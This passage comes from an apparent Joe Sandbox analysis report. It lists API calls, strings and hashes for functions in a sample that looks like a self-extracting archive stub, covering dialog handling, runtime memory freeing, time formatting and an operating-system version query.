Opcode Fuzzy Hash: f7fe41aa12786bb781d1e838e47a45475befe4794e0cb6d91f74a8edc6c720dd
Instruction Fuzzy Hash: 8EE144B2D00218ABDF25DBA4ED85EEE73BCAB04354F5444A6F605E7090EF749E85CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A2F608 Relevance: 26.5, APIs: 12, Strings: 3, Instructions: 234COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 00A2F62E

Part of subcall function 00A24A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00A24A33

Part of subcall function 00A330F5: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,00A63070,00000200,00A2EC48,00000000,?,00000050,00A63070), ref: 00A33112

_strlen.LIBCMT ref: 00A2F64F
SetDlgItemTextW.USER32(?,00A60274,?), ref: 00A2F6AF
GetWindowRect.USER32(?,?), ref: 00A2F6E9
GetClientRect.USER32(?,?), ref: 00A2F6F5
GetWindowLongW.USER32(?,000000F0), ref: 00A2F795
GetWindowRect.USER32(?,?), ref: 00A2F7C2
SetWindowTextW.USER32(?,?), ref: 00A2F7FB
GetSystemMetrics.USER32(00000008), ref: 00A2F803
GetWindow.USER32(?,00000005), ref: 00A2F80E
GetWindowRect.USER32(00000000,?), ref: 00A2F83B
GetWindow.USER32(00000000,00000002), ref: 00A2F8AD

Strings

d, xrefs: 00A2F715
$%s:, xrefs: 00A2F622
CAPTION, xrefs: 00A2F7DD

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Window$Rect$Text$ByteCharClientItemLongMetricsMultiSystemWide__vswprintf_c_l_strlen_swprintf
String ID: $%s:$CAPTION$d
API String ID: 2407758923-2512411981
Opcode ID: 12a73695150c0eb30346bef374cfe41596bf3aa8df570d11e259c580e13cd3e8
Instruction ID: d7459ad9288249f7a6271d4dd9e4e3e7f38149346e317d3d7ee8e824f225d854
Opcode Fuzzy Hash: 12a73695150c0eb30346bef374cfe41596bf3aa8df570d11e259c580e13cd3e8
Instruction Fuzzy Hash: 34817F72508351AFD710DFA8DD89A6BBBF9EB88714F04093DFA85A7250D670E8098B52

Uniqueness

Uniqueness Score: -1.00%

Function 00A4DCE2 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00A4DD26

Part of subcall function 00A4D8C1: _free.LIBCMT ref: 00A4D8DE
Part of subcall function 00A4D8C1: _free.LIBCMT ref: 00A4D8F0
Part of subcall function 00A4D8C1: _free.LIBCMT ref: 00A4D902
Part of subcall function 00A4D8C1: _free.LIBCMT ref: 00A4D914
Part of subcall function 00A4D8C1: _free.LIBCMT ref: 00A4D926
Part of subcall function 00A4D8C1: _free.LIBCMT ref: 00A4D938
Part of subcall function 00A4D8C1: _free.LIBCMT ref: 00A4D94A
Part of subcall function 00A4D8C1: _free.LIBCMT ref: 00A4D95C
Part of subcall function 00A4D8C1: _free.LIBCMT ref: 00A4D96E
Part of subcall function 00A4D8C1: _free.LIBCMT ref: 00A4D980
Part of subcall function 00A4D8C1: _free.LIBCMT ref: 00A4D992
Part of subcall function 00A4D8C1: _free.LIBCMT ref: 00A4D9A4
Part of subcall function 00A4D8C1: _free.LIBCMT ref: 00A4D9B6

_free.LIBCMT ref: 00A4DD1B

Part of subcall function 00A4A66A: RtlFreeHeap.NTDLL(00000000,00000000,?,00A4DA56,?,00000000,?,00000000,?,00A4DA7D,?,00000007,?,?,00A4DE7A,?), ref: 00A4A680
Part of subcall function 00A4A66A: GetLastError.KERNEL32(?,?,00A4DA56,?,00000000,?,00000000,?,00A4DA7D,?,00000007,?,?,00A4DE7A,?,?), ref: 00A4A692

_free.LIBCMT ref: 00A4DD3D
_free.LIBCMT ref: 00A4DD52
_free.LIBCMT ref: 00A4DD5D
_free.LIBCMT ref: 00A4DD7F
_free.LIBCMT ref: 00A4DD92
_free.LIBCMT ref: 00A4DDA0
_free.LIBCMT ref: 00A4DDAB
_free.LIBCMT ref: 00A4DDE3
_free.LIBCMT ref: 00A4DDEA
_free.LIBCMT ref: 00A4DE07
_free.LIBCMT ref: 00A4DE1F

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: d834bb1db75a41e3137eadd1f533f3ce1aab065ec04b65967094b81c92d3b4fe
Instruction ID: 6223d1d6085ed49efe00ed20915a15aa75c38d389a0059d268ed1d0891bc1d64
Opcode Fuzzy Hash: d834bb1db75a41e3137eadd1f533f3ce1aab065ec04b65967094b81c92d3b4fe
Instruction Fuzzy Hash: 4831583AA003009FEB20AB38D945F5AB3E9FFA0710F59482AE049DB191DB31AC90CB51

Uniqueness

Uniqueness Score: -1.00%

Function 00A3E7EE Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 79windowCOMMON

Download Yara Rule

APIs

GetWindow.USER32(?,00000005), ref: 00A3E811
GetClassNameW.USER32(00000000,?,00000800), ref: 00A3E83D

Part of subcall function 00A33316: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00013316,00A2D523,00000000,.exe,?,?,00000800,?,?,?,00A39E5C), ref: 00A3332C

GetWindowLongW.USER32(00000000,000000F0), ref: 00A3E859
SendMessageW.USER32(00000000,00000173,00000000,00000000), ref: 00A3E870
GetObjectW.GDI32(00000000,00000018,?), ref: 00A3E884
SendMessageW.USER32(00000000,00000172,00000000,00000000), ref: 00A3E8AD
DeleteObject.GDI32(00000000), ref: 00A3E8B4
GetWindow.USER32(00000000,00000002), ref: 00A3E8BD

Strings

STATIC, xrefs: 00A3E843

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Window$MessageObjectSend$ClassCompareDeleteLongNameString
String ID: STATIC
API String ID: 3820355801-1882779555
Opcode ID: 3008e2df4448969e3dd50ba3ea3dffbd48d14d4fc1cef41bde2d9035477c1b70
Instruction ID: 61e019b8ae2b34fea6c1ab9997b43c90616846f767488c53f0ca4803ddc5e9cf
Opcode Fuzzy Hash: 3008e2df4448969e3dd50ba3ea3dffbd48d14d4fc1cef41bde2d9035477c1b70
Instruction Fuzzy Hash: DA11CD32D44B107BE620EBB09C4AFAB2AAEBB54711F004520FE41A50E2DB64890687B5

Uniqueness

Uniqueness Score: -1.00%

Function 00A4A421 Relevance: 15.1, APIs: 10, Instructions: 54COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00A4A435

Part of subcall function 00A4A66A: RtlFreeHeap.NTDLL(00000000,00000000,?,00A4DA56,?,00000000,?,00000000,?,00A4DA7D,?,00000007,?,?,00A4DE7A,?), ref: 00A4A680
Part of subcall function 00A4A66A: GetLastError.KERNEL32(?,?,00A4DA56,?,00000000,?,00000000,?,00A4DA7D,?,00000007,?,?,00A4DE7A,?,?), ref: 00A4A692

_free.LIBCMT ref: 00A4A441
_free.LIBCMT ref: 00A4A44C
_free.LIBCMT ref: 00A4A457
_free.LIBCMT ref: 00A4A462
_free.LIBCMT ref: 00A4A46D
_free.LIBCMT ref: 00A4A478
_free.LIBCMT ref: 00A4A483
_free.LIBCMT ref: 00A4A48E
_free.LIBCMT ref: 00A4A49C

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 1f53c5c8eb571815355fbb944fb0fc58c1250bd1f4d1ad8f57742b7a688b37b3
Instruction ID: ff37daa0eb3ff1d3b27bd4b13851a05778408ce723b10d4291cc136080a334d3
Opcode Fuzzy Hash: 1f53c5c8eb571815355fbb944fb0fc58c1250bd1f4d1ad8f57742b7a688b37b3
Instruction Fuzzy Hash: 4811A77A150108AFCB01EF54CA52CDD7BB9EF64750F8681A5FA084F122D631EE619B41

Uniqueness

Uniqueness Score: -1.00%

Function 00A43FC1 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00A440E0
___TypeMatch.LIBVCRUNTIME ref: 00A441EE
_UnwindNestedFrames.LIBCMT ref: 00A44340
CallUnexpected.LIBVCRUNTIME ref: 00A4435B
_abort.LIBCMT ref: 00A44360

Strings

csm, xrefs: 00A4406B
csm, xrefs: 00A43FFE
csm, xrefs: 00A44117

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwind_aborttype_info::operator==
String ID: csm$csm$csm
API String ID: 322700389-393685449
Opcode ID: 4477ec01d105e3407a1c70e5adebcbe2192b813ef4db4073335a6af7130eada4
Instruction ID: f2864861be7a7517543f3195c1c0a9d1759fdd0aeec779a4b5e70aabea1ccec7
Opcode Fuzzy Hash: 4477ec01d105e3407a1c70e5adebcbe2192b813ef4db4073335a6af7130eada4
Instruction Fuzzy Hash: ADB1AE7980020AEFCF24DFA4C981AAEBBB5FF98310F14415AF8116B212D775EA51CF91

Uniqueness

Uniqueness Score: -1.00%

Function 00A3A6D1 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 126memoryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00A3A6F6
_wcslen.LIBCMT ref: 00A3A796
GlobalAlloc.KERNEL32(00000040,?), ref: 00A3A7A5
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000003,?,00000000,00000000), ref: 00A3A7C6

Strings

</html>, xrefs: 00A3A777
<html>, xrefs: 00A3A715, 00A3A74E
utf-8"></head>, xrefs: 00A3A72B
<head><meta http-equiv="content-type" content="text/html; charset=, xrefs: 00A3A720

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: _wcslen$AllocByteCharGlobalMultiWide
String ID: </html>$<head><meta http-equiv="content-type" content="text/html; charset=$<html>$utf-8"></head>
API String ID: 1116704506-4209811716
Opcode ID: da355092e6e1ecd8625f0d6315d1da1cd5e0dd5f63935fa42679e3db3d1d0586
Instruction ID: 754c65731e427434178689ef4355fd8c84b4f2b00b2015ddc62441ed4902f4c4
Opcode Fuzzy Hash: da355092e6e1ecd8625f0d6315d1da1cd5e0dd5f63935fa42679e3db3d1d0586
Instruction Fuzzy Hash: A23186321043617EE315AB709C86FAFB7A8FFA1320F14011EF841961D1EFA4D90982A6

Uniqueness

Uniqueness Score: -1.00%

Function 00A3C7B0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 98windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00A212F6: GetDlgItem.USER32(00000000,00003021), ref: 00A2133A
Part of subcall function 00A212F6: SetWindowTextW.USER32(00000000,00A545F4), ref: 00A21350

EndDialog.USER32(?,00000001), ref: 00A3C800
SendMessageW.USER32(?,00000080,00000001,?), ref: 00A3C827
SendDlgItemMessageW.USER32(?,00000066,00000172,00000000,?), ref: 00A3C840
SetWindowTextW.USER32(?,?), ref: 00A3C851
GetDlgItem.USER32(?,00000065), ref: 00A3C85A
SendMessageW.USER32(00000000,00000435,00000000,00010000), ref: 00A3C86E
SendMessageW.USER32(00000000,00000443,00000000,00000000), ref: 00A3C884

Strings

LICENSEDLG, xrefs: 00A3C7C4

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: MessageSend$Item$TextWindow$Dialog
String ID: LICENSEDLG
API String ID: 3214253823-2177901306
Opcode ID: d2a9809db40619f56b5ca4105b2e2ab35832995b8504aa9cee173c4e661ea58a
Instruction ID: 143384b9ad5dce4138b928793681af9e2be5902be28239685d8566eae7527b0e
Opcode Fuzzy Hash: d2a9809db40619f56b5ca4105b2e2ab35832995b8504aa9cee173c4e661ea58a
Instruction Fuzzy Hash: 9821A372A502107BD611EFB9EC8DF7B3B7CEB46B55F004515FA40B60A0CB6299039771

Uniqueness

Uniqueness Score: -1.00%

Function 00A2B5D6 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 87COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00A2B5E2

Part of subcall function 00A32701: GetSystemTime.KERNEL32(?), ref: 00A3270F
Part of subcall function 00A32701: SystemTimeToFileTime.KERNEL32(?,?), ref: 00A3271D

Part of subcall function 00A326AA: __aulldiv.LIBCMT ref: 00A326B3

__aulldiv.LIBCMT ref: 00A2B60E
GetCurrentProcessId.KERNEL32(00000000,?,000186A0,00000000,?,?,00000800,?), ref: 00A2B615
_swprintf.LIBCMT ref: 00A2B640

Part of subcall function 00A24A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00A24A33

_wcslen.LIBCMT ref: 00A2B64A
_swprintf.LIBCMT ref: 00A2B6A0
_wcslen.LIBCMT ref: 00A2B6AA

Strings

%u.%03u, xrefs: 00A2B630, 00A2B694

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Time_wcslen$System__aulldiv_swprintf$CurrentFileProcess__vswprintf_c_l
String ID: %u.%03u
API String ID: 2956649372-1114938957
Opcode ID: 08998c02c240a6e591bcf33a09d252ef42ab2367d716b6a9c0595b084d3f74fc
Instruction ID: 4debbf11cb861d7ae33af7f8b25549ac25f5eaa192268f7dca2b530dabde817f
Opcode Fuzzy Hash: 08998c02c240a6e591bcf33a09d252ef42ab2367d716b6a9c0595b084d3f74fc
Instruction Fuzzy Hash: 152183B2A18310AFD614EF69DD86E9B77ECEBD8750F00492AF545E3241DB34DA0887B1

Uniqueness

Uniqueness Score: -1.00%

Function 00A3BC2B Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 68timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?), ref: 00A3BC3F
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00A3BC50
SystemTimeToFileTime.KERNEL32(?,?), ref: 00A3BC5E
FileTimeToSystemTime.KERNEL32(?,?), ref: 00A3BC6C
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00A3BC87
GetTimeFormatW.KERNEL32(00000400,?,?,00000000,?,00000032), ref: 00A3BCAE
_swprintf.LIBCMT ref: 00A3BCD4

Strings

%s %s, xrefs: 00A3BCC9

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Time$System$File$Format$DateLocalSpecific_swprintf
String ID: %s %s
API String ID: 385609497-2939940506
Opcode ID: c8ebacf9b620c6863e2c0a2c87d27e828d05332bc6a278f7235aa04716247e19
Instruction ID: 9cae5042061687b64b2539557ede5a4f02ae003e2a396c20aca64ac227ebd6c5
Opcode Fuzzy Hash: c8ebacf9b620c6863e2c0a2c87d27e828d05332bc6a278f7235aa04716247e19
Instruction Fuzzy Hash: 2221C7B254115CABDB21DFA0EC45EEF3BADFF19345F140526FA09D2111E720DA89CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00A40ED0 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00A2C43F,00A2C441,00000000,00000000,97CBF2BB,00000001,00000000,00000000,00A2C32C,?,?,?,00A2C43F,ROOT\CIMV2), ref: 00A40F59
MultiByteToWideChar.KERNEL32(00000000,00000000,00A2C43F,?,00000000,00000000,?,?,?,?,?,00A2C43F), ref: 00A40FD4
SysAllocString.OLEAUT32(00000000), ref: 00A40FDF
_com_issue_error.COMSUPP ref: 00A41008
_com_issue_error.COMSUPP ref: 00A41012
GetLastError.KERNEL32(80070057,97CBF2BB,00000001,00000000,00000000,00A2C32C,?,?,?,00A2C43F,ROOT\CIMV2), ref: 00A41017
_com_issue_error.COMSUPP ref: 00A4102A
GetLastError.KERNEL32(00000000,?,00A2C43F,ROOT\CIMV2), ref: 00A41040
_com_issue_error.COMSUPP ref: 00A41053

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID:
API String ID: 1353541977-0
Opcode ID: 8a263e58b2d381941164406b9c71103992f54628dad63300c359067d391aa88b
Instruction ID: 982075656160dfe7aaa09e275d7d91fdc74c331885181f07540b8665342abfc4
Opcode Fuzzy Hash: 8a263e58b2d381941164406b9c71103992f54628dad63300c359067d391aa88b
Instruction Fuzzy Hash: 7D41F879A00315ABDB10DFA4DD45FAEBBB8FF88711F10422AF905E7280D775A88487A5

Uniqueness

Uniqueness Score: -1.00%

Function 00A2C3F7 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 210COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A2C3FC

Strings

WQL, xrefs: 00A2C4AF
Name, xrefs: 00A2C583
SELECT * FROM Win32_OperatingSystem, xrefs: 00A2C49D
Windows 10, xrefs: 00A2C595
ROOT\CIMV2, xrefs: 00A2C42F

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: H_prolog
String ID: Name$ROOT\CIMV2$SELECT * FROM Win32_OperatingSystem$WQL$Windows 10
API String ID: 3519838083-3505469590
Opcode ID: 230dfb2736128c073b949b7db63544747cc2613cb832db76b994211ac285ae38
Instruction ID: f3aab062afcdb34215ff6a043f979e8a3b27ea65fe677c94589e9b2b3a3fcb05
Opcode Fuzzy Hash: 230dfb2736128c073b949b7db63544747cc2613cb832db76b994211ac285ae38
Instruction Fuzzy Hash: D1713F71A00229AFDB14DFA8DC959BFB7B9FF48725B140569F506E72A0CB30AD42CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00A2A5E9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 135fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A2A5EE
GetLongPathNameW.KERNEL32(?,?,00000800), ref: 00A2A611
GetShortPathNameW.KERNEL32(?,?,00000800), ref: 00A2A630

Part of subcall function 00A2D6A7: _wcslen.LIBCMT ref: 00A2D6AF

Part of subcall function 00A33316: CompareStringW.KERNEL32(00000400,00001001,?,000000FF,?,Function_00013316,00A2D523,00000000,.exe,?,?,00000800,?,?,?,00A39E5C), ref: 00A3332C

_swprintf.LIBCMT ref: 00A2A6CC

Part of subcall function 00A24A20: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00A24A33

MoveFileW.KERNEL32(?,?), ref: 00A2A73B
MoveFileW.KERNEL32(?,?), ref: 00A2A77B

Strings

rtmp%d, xrefs: 00A2A6B5

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: FileMoveNamePath$CompareH_prologLongShortString__vswprintf_c_l_swprintf_wcslen
String ID: rtmp%d
API String ID: 3726343395-3303766350
Opcode ID: 803b9c6ec0496532256ca9133fb3c38ef424ed138ecdbb6bc63f5682e34befc6
Instruction ID: 2c4545aa105b7c4683bcd5eee37923f860e13c88f76dcbf8dee8aba048c916a5
Opcode Fuzzy Hash: 803b9c6ec0496532256ca9133fb3c38ef424ed138ecdbb6bc63f5682e34befc6
Instruction Fuzzy Hash: 4F415B729102396BCF20ABA8ED84EEF737CBF64340F0404B5B545E3046EB348A859F65

Uniqueness

Uniqueness Score: -1.00%

Function 00A32538 Relevance: 12.1, APIs: 8, Instructions: 125timeCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00A3254E

Part of subcall function 00A2C619: GetVersionExW.KERNEL32(?), ref: 00A2C63E

FileTimeToLocalFileTime.KERNEL32(00000003,00000000,00000003,?,00000064,00000000,00000000,00000001), ref: 00A32571
FileTimeToSystemTime.KERNEL32(00000003,?,00000003,?,00000064,00000000,00000000,00000001), ref: 00A32583
SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?), ref: 00A32594
SystemTimeToFileTime.KERNEL32(?,?), ref: 00A325A4
SystemTimeToFileTime.KERNEL32(?,?), ref: 00A325B4
FileTimeToSystemTime.KERNEL32(?,?,?), ref: 00A325EF
__aullrem.LIBCMT ref: 00A32699

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
